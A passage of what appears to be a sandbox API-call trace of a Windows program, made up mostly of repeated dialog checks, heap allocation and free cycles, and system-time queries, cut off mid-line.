[0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.571] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d878 [0172.571] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e078 [0172.571] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.571] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e0a8 [0172.571] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0172.571] GetProcAddress (hModule=0x77b90000, lpProcName="memcpy") returned 0x77bb2340 [0172.571] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e0c0 [0172.571] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e0d8 [0172.571] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.571] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.571] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.572] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0d8 | out: hHeap=0x2220000) returned 1 [0172.572] FindWindowA (lpClassName="z\x07", lpWindowName="") returned 0x0 [0172.572] RasDeleteSubEntryA (pszPhonebook="z\x07", pszEntry="z\x07", dwSubentryId=0x4) returned 0x26f [0172.579] GetParent (hWnd=0x0) returned 0x0 [0172.580] PageSetupDlgA (param_1=0x18c9dc) returned 0 [0172.580] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.580] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.580] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48a3a0, dwHighDateTime=0x1d595b2)) [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48a3a0, dwHighDateTime=0x1d595b2)) [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48a3a0, dwHighDateTime=0x1d595b2)) [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48a3a0, dwHighDateTime=0x1d595b2)) [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48a3a0, dwHighDateTime=0x1d595b2)) [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.581] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48a3a0, dwHighDateTime=0x1d595b2)) [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.581] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48cab0, dwHighDateTime=0x1d595b2)) [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.582] GetLastError () returned 0x578 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.582] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48cab0, dwHighDateTime=0x1d595b2)) [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48f1c0, dwHighDateTime=0x1d595b2)) [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.582] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48f1c0, dwHighDateTime=0x1d595b2)) [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48f1c0, dwHighDateTime=0x1d595b2)) [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48f1c0, dwHighDateTime=0x1d595b2)) [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48f1c0, dwHighDateTime=0x1d595b2)) [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea48f1c0, dwHighDateTime=0x1d595b2)) [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.583] GetLastError () returned 0x578 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.583] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.583] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4918d0, dwHighDateTime=0x1d595b2)) [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4918d0, dwHighDateTime=0x1d595b2)) [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4918d0, dwHighDateTime=0x1d595b2)) [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4918d0, dwHighDateTime=0x1d595b2)) [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4918d0, dwHighDateTime=0x1d595b2)) [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.584] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.584] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea493fe0, dwHighDateTime=0x1d595b2)) [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea493fe0, dwHighDateTime=0x1d595b2)) [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.585] GetLastError () returned 0x578 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.585] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.585] HeapFree (in: hHeap=0x2220000, 